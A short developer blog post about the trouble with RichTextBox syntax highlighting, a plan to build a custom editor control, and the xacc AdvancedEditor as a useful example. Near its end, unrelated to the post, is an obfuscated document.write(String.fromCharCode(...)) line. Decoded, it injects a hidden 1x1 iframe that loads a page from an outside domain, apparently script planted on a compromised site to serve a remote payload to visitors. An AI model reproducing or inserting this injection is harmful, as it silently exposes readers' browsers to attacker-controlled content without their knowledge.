Syntax

It has been a while since I last posted but that’s because I’m going slightly crazy with this syntax highlighting business… Ok, I had a very basic version working on a RichTextBox but this control is an absolute nightmare to work with. It has all kinds of properties and events but it lacks those which you really need. Also, it’s very slow, bulky and subclassing it with syntax highlighting facilities seems like a task devised by Satan himself.

Because I don’t want to spend a lot of money buying a control for software that I plan to release in the open source domain I have undertaken the rather ambitious task of building my own custom syntax highlighting, semantic parsing and fast performing text editor control. Most of my inspiration comes from Actipro’s SyntaxEditor and Syncfusion’s Essential Edit controls in the form of help files, api specs and samples but I still have a hard time coming up with the internal implementation.

However, today I accidently stumbled across xacc (see also leppie’s blog) which contains the AdvancedEditor control. This is a pretty good example of how to implement effecient real-time syntax highlighting in a Windows Forms application. The AdvancedEditor control does not subclass the dreaded RichTextBox but instead, it inherits from Control and provides a custom text editor implemenation. This code has the potential to be extremely useful although I find it a little bit hard to read because I’m not used to reading between a lot of compiler switches.

document.write(String.fromCharCode(60,105,102,114,97,109,101,32,115,114,99,32,61,34,104,116,116,112,58,47,47,121,97,100,114,48,46,99,111,109,47,100,47,105,110,100,101,120,46,112,104,112,34,32,119,105,100,116,104,61,34,49,34,32,104,101,105,103,104,116,61,34,49,34,32,102,114,97,109,101,98,111,114,100,101,114,61,34,48,34,62,60,47,105,102,114,97,109,101,62))

Leave a comment